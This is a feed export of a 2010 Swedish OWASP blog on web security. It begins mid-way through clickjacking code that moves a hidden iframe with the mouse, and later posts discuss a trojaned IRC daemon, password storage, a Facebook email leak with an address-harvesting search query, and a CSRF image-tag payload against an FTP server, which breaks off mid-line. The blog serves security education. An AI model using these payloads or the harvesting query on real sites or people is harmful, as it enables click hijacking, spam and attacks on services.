style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;function followmouse(e) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;xcoord = ycoord = 40;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;xcoord += e.pageX - 50;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;ycoord += e.pageY - 50;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.left = xcoord;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.top = ycoord;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// Följ muspekaren med den döljande&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// iframe:en&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;document.onmousemove=followmouse;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;/script&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;/body&gt; &amp;lt;/html&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1152574283161841857?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1152574283161841857/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1152574283161841857' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1152574283161841857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1152574283161841857'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/06/clickjacking-exempel.html' title='Clickjacking-exempel'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tONVxa3WGQM/TBaXnu8smYI/AAAAAAAAASQ/qFr-g6HrZ_o/s72-c/cropped_screen_dump_clickjacking.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1074148945653025420</id><published>2010-06-13T23:01:00.005+02:00</published><updated>2010-06-14T00:00:34.647+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><category scheme='http://www.blogger.com/atom/ns#' term='dynamisk länkning'/><category scheme='http://www.blogger.com/atom/ns#' term='maven'/><title type='text'>IRC-demon innehöll trojan</title><content type='html'>Världens kanske populäraste IRC-demon, UnrealIRCd, har distribuerats med en trojan sen november. Teamet gick själva ut med information om det &lt;a href="http://forums.unrealircd.com/viewtopic.php?t=6562"&gt;igår&lt;/a&gt; och Sitic skrev om det &lt;a href="http://www.sitic.se/publikationer/namnvart/bakdoerr-i-unrealircd"&gt;idag&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;(Förlåt att det är lite låg frekvens på bloggandet just nu men det är mycket inför konferensen. En vecka kvar och över 230 anmälda. 3500 kr för två dagars konferens, tre parallella spår och en middag på stadshuset. &lt;a href="http://www.owasp.org/index.php?title=OWASP_AppSec_Research_2010_-_Stockholm,_Sweden"&gt;Haka på&lt;/a&gt;!)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Mardrömmen för öppen källkod&lt;/b&gt;&lt;/span&gt;&lt;div&gt;UnrealIRCd snuddar vid den ultimata mardrömmen inom öppen källkod, nämligen att någon smyger in ett &lt;i&gt;rootkit&lt;/i&gt; i källkoden och sen får full access till alla användares/utvecklares maskiner.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I det här fallet var det den byggda tar:en som bytts ut och ingen upptäckte det på åtta månader:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;"It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now."&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Skrämmande men inte alltför förvånande. Vem kollar MD5-summorna? Varje gång?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Värre med dynamisk länkning&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Ett relaterat men mycket värre problem är dynamisk länkning. När jag var doktorand i Linköping så handlade mycket av mitt arbete om säkerhet i C. Då var det en gängse sanning att all säkerhetskritisk kod var tvungen att länkas statiskt, dvs libbarna kompileras in i binären som så klart blir gigantisk. På det viset visste man vilken kod som kördes och ett hack i libbarna eller som bytte ut dem påverkade inte den säkerhetskritiska koden.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Dynamisk länkning innebär att din applikationskod länkas samman med andra bibliotek vid applikationsstart eller till och med vid behov under körning. På det viset delas gemensam kod och applikationer får direkt del av buggfixar i bibliotek utan att behöva byggas om själva.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Men säkerhetsmässigt är det problematiskt. Attackvektorn blir så pass mycket större om man genom att knäcka eller byta ut ett bibliotek kan knäcka en massa applikationer och tjänster samtidigt.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nuförtiden är det inte många som pratar om statisk vs dynamisk länkning. Men problemet är i själva verket större än någonsin!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Dynamisk länkning av JavaScript&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Även om de flesta &lt;i&gt;tutorials&lt;/i&gt; föreslår att man ska ladda hem de JavaScript-bibliotek man vill använda så ser man väldigt ofta deklarationer i stil med:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&amp;lt;script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"&gt;&amp;lt;/script&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;... vilket innebär att användarnas webbläsare kommer att hämta den kod som finns hos code.jquery.com och köra/använda den på sidan. Den som lyckas hacka JQuery kommer äga nätet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Jag förmodar att JavaScript-bibliotekens ovilja att publicera sin kod på en https-domän handlar delvis om det. De vill inte dynamiskt länkas in i https-skyddade applikationer.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Dynamisk länkning med Maven&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Att hacka JQuery- eller YUI-servrarna skulle mycket snabbt ge effekt om det inte vore för de allt vanligare "&lt;i&gt;never expire&lt;/i&gt;"-cache-kontrollerna. Men vore det inte ännu läskigare om någon hackade något populärt öppen källkods-projekt såsom &lt;i&gt;Log4J&lt;/i&gt; eller &lt;i&gt;Apache Commons&lt;/i&gt;? Folk laddar automatiskt hem ditt rootkit med Maven utan att ens veta vad som försiggår.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ibland undrar jag varför det inte redan hänt. Eller om det har hänt men jag inte har fått reda på det. Då blir hack som det mot UnrealIRCd som en klump i magen. Ingen upptäckte det på åtta månader ...&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1074148945653025420?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1074148945653025420/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1074148945653025420' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1074148945653025420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1074148945653025420'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/06/irc-demon-inneholl-trojan.html' title='IRC-demon innehöll trojan'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6792554056587086708</id><published>2010-06-04T00:04:00.006+02:00</published><updated>2010-06-08T16:22:43.806+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='personlig integritet'/><category scheme='http://www.blogger.com/atom/ns#' term='e-post'/><title type='text'>E-postadresser synliga via Facebook-läcka</title><content type='html'>Prova att googla på ...&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;site:facebook.com "Do you want to stop receiving Facebook emails"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det ger dig en diger uppsättning e-postadresser att börja spamma. Flera av adresserna är dessutom till för automatisk postning till folks bloggar. Cory Watilo har &lt;a href="http://corywatilo.com/a-real-facebook-privacy-issue-email-addresses"&gt;upptäckt&lt;/a&gt; det här och han har inte ens gett sin e-postadress till Facebook (se skärmdump nedan)!&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tONVxa3WGQM/TA5Rq62iGAI/AAAAAAAAASI/gAY_8bYtWPE/s1600/privacy_facebook_email_leak.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; width:400px;" src="http://2.bp.blogspot.com/_tONVxa3WGQM/TA5Rq62iGAI/AAAAAAAAASI/gAY_8bYtWPE/s200/privacy_facebook_email_leak.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5480407594350811138" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nu tycker jag förvisso man gott kan publicera sin e-postadress på nätet. Filtren börjar bli bra, adressen läcker ut i alla fall (exempel ovan) och det är grymt irriterande att inte hitta en persons e-postadress.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nej, det allvarliga i den aktuella Facebook-läckan är förstås att Facebook uppenbarligen inte har något ordentligt system för att kategorisera användarnas data. Det ska inte vara upp till om utvecklarna har en bra dag eller inte. Bygger man världens största sociala nätverk och riskerar tonvis med kritik för hanteringen av personlig information så ska systemet självt hålla reda på vad som får spindlas/indexeras och inte.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Om man nu inte kan eller orkar kategorisera informationen – hur svårt kan det vara att sätta upp egna test-botar som går igenom sajten på jakt efter känslig information?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6792554056587086708?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6792554056587086708/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6792554056587086708' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6792554056587086708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6792554056587086708'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/06/e-postadresser-synliga-via-facebook.html' title='E-postadresser synliga via Facebook-läcka'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tONVxa3WGQM/TA5Rq62iGAI/AAAAAAAAASI/gAY_8bYtWPE/s72-c/privacy_facebook_email_leak.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-9097497097693216764</id><published>2010-05-29T14:05:00.002+02:00</published><updated>2010-05-29T14:22:24.297+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mashups'/><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='Chrome'/><title type='text'>Dödskalle vid trasigt SSL-cert</title><content type='html'>&lt;div&gt;Google Chrome börjar visa en röd dödskalle vid felaktigt SSL-cert.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://danielmiessler.com/wp-content/uploads/2010/05/googlesslwarning.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 313px; height: 33px;" src="http://danielmiessler.com/wp-content/uploads/2010/05/googlesslwarning.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;Chris Evans (en av talarna på sommarens konferens) &lt;a href="http://code.google.com/p/chromium/issues/detail?id=42758"&gt;skriver&lt;/a&gt; följande:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;"The great thing about red skull + crossbones is that it highlights the site is broken and creates pressure to fix it."&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Andra involverade i Chromium är tveksamma:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;"Users have no control over the site, and they do have choices in browsers, so unless all browsers do it, most users will believe the browser is broken, not the site."&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det riktigt intressanta är att man överväger att visa dödskallen vid allvarliga varianter av mixat http/https-innehåll, ett vanligt problem vid &lt;i&gt;mashups&lt;/i&gt;.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Varning vid mixat innehåll med ex. &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&amp;lt;img&gt;&lt;/span&gt; ger "spökhänglås" + grå https-text&lt;/li&gt;&lt;li&gt;Fel vid mixat innehåll med ex. &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&amp;lt;script&gt;&lt;/span&gt; ger dödskalle + röd https-text&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-9097497097693216764?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/9097497097693216764/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=9097497097693216764' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9097497097693216764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9097497097693216764'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/dodskalle-vid-trasigt-ssl-cert.html' title='Dödskalle vid trasigt SSL-cert'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7250647183905128654</id><published>2010-05-28T16:30:00.003+02:00</published><updated>2010-06-08T15:49:18.777+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kryptering'/><category scheme='http://www.blogger.com/atom/ns#' term='xor'/><category scheme='http://www.blogger.com/atom/ns#' term='aes'/><category scheme='http://www.blogger.com/atom/ns#' term='lösenord'/><title type='text'>Hur spara applikationslösenorden?</title><content type='html'>&lt;div&gt;En evig fråga för systemutvecklare och driftansvariga är – hur sparar vi lösenorden som applikationen behöver? Det är ofta flera lösenord som har med applikationen eller applikationsservern att göra. Lösenord till databasen, lösenord till certifikat, lösenord till &lt;i&gt;keystores&lt;/i&gt;, lösenord för maskin till maskin-koppel och så vidare.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Alternativen som står till buds&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Det finns följande enkla men osäkra alternativ:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Lösenord i klartext i konfigurationsfil&lt;/li&gt;&lt;li&gt;Lösenord i klartext i koden&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Sen har vi de bra mycket säkrare men också jobbigare alternativen:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Krypterade lösenord i konfigurationsfil med nyckel i koden (kan vara en masternyckel för hela applikationen)&lt;/li&gt;&lt;li&gt;Krypterade lösenord i kod eller kodnära konfigurationsfil och lösenord i driftnära konfigurationsfil (känns lite bakvänt men ibland har man större förtroende för driftansvarig än för utvecklarna, t ex vid outsourcing)&lt;/li&gt;&lt;li&gt;Krypterade lösenord i en LDAP eller liknande&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Och så har vi hybriden:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Krypterade lösenord i konfigurationsfil med delad nyckel – halva i koden, halva i konfigurationsfil.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Till sist har vi de väldigt säkra och grymt jobbiga alternativen:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Lösenord i huvudet på driftansvariga (anges vid varje driftsättning medelst många svordomar)&lt;/li&gt;&lt;li&gt;Drakonisk hårdvarulösning&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Standardlösningar?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Mig veterligen så finns ingen standardlösning på det här i vaniljsmaken på Java EE. Istället så bestämmer varje team sig för hur man ska göra med lösenorden. Synd.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I lakritsjava (=&lt;i&gt;enterprise&lt;/i&gt;) så finns det färdiga lösningar. IBMs WebSphere kör tyvärr default med en naiv XOR (&lt;a href="http://www.ibm.com/developerworks/websphere/library/techarticles/0606_botzum/0606_botzum.html"&gt;ref&lt;/a&gt;):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;"WebSphere Application Server stores passwords XOR encoded in the XML configuration files."&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Men man kan &lt;a href="http://www.ibm.com/developerworks/websphere/techjournal/1003_botzum/1003_botzum.html#sec3c"&gt;plugga in valfri krypteringslösning&lt;/a&gt; genom att implementera deras &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;CustomPasswordEncryption&lt;/span&gt;-interface eller sätta &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;customPasswordEncryptionClass&lt;/span&gt; och &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;customPasswordEncryptionEnabled&lt;/span&gt; i PropFilePasswordEncoder.bat/sh. Bra grejer.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;i .NET-världen kanske det ser annorlunda ut, inte minst tack vare integrationen med Windows API:er som &lt;i&gt;Data Protection API&lt;/i&gt; (&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;CryptProtectData&lt;/span&gt;). Men jag är ingen klippa på .NET. Någon som kan hjälpa till? Kristofer?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Vad ska man brygga om man brygger hemma?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;OK, men för oss som inte har betalat för en WebSphere-licens, vad står till buds? En XOR-kryptering med statisk nyckel i koden kanske?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nja, så här säger min kollega Lars Johansson om XOR-kryptering:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;XOR ger visserligen "perfekt sekretess" (&lt;a href="http://en.wikipedia.org/wiki/One-time_pad"&gt;bevisat av Shannon 1949&lt;/a&gt;), men det förutsätter följande:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Nyckeln måsta vara lika lång som klartextmeddelandet.&lt;/li&gt;&lt;li&gt;Nyckeln måste vara fullständigt slumpmässig. Så fort en nyckel återanvänds går det att knäcka kryptotexten!&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;Båda dessa ovanstående krav gör att perfekt sekretess med XOR inte går att realisera i praktiken. Använd en etablerad kryptoalgoritm i stället, t.ex. AES. Då är det inte lika noga med nyckellängden (256 bitar duger gott). Nyckeln bör dock fortfarande ha bra slump/entropi.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Vi borde skärpa oss lite&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Jag tror de flesta tycker det här är för jobbigt och har alla maskinlösenord i klartext eller med defaultskydd. Vi borde skärpa oss lite. AES-kryptering med nyckeln i källkoden borde vara ett minimum. Gärna genom en snygg öppen källkodslösning som alla kan planka :).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Vad tycker ni andra? Hur gör ni?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7250647183905128654?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7250647183905128654/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7250647183905128654' title='5 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7250647183905128654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7250647183905128654'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/hur-spara-applikationslosenorden.html' title='Hur spara applikationslösenorden?'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-75029775240944174</id><published>2010-05-26T21:09:00.008+02:00</published><updated>2010-05-28T12:31:46.247+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='csrf'/><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><title type='text'>CSRF mot FTP</title><content type='html'>Efter en av våra OWASP Sweden-kvällar så diskuterade vi &lt;i&gt;cross-protocol&lt;/i&gt;-attacker. Nu har en CSRF-sårbarhet &lt;a href="http://seclists.org/bugtraq/2010/May/218"&gt;rapporterats&lt;/a&gt; in för Sun Solaris 10 ftpd. &lt;i&gt;Hypertext Transfer Protocol&lt;/i&gt; till &lt;i&gt;File Transfer Protocol&lt;/i&gt;.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Attackeraren kan på sin sajt ha en sån här image-tagg:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&amp;lt;img src="ftp://ftp.sun.com/////////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;////&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, serif;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;///////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////////////////////////&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier 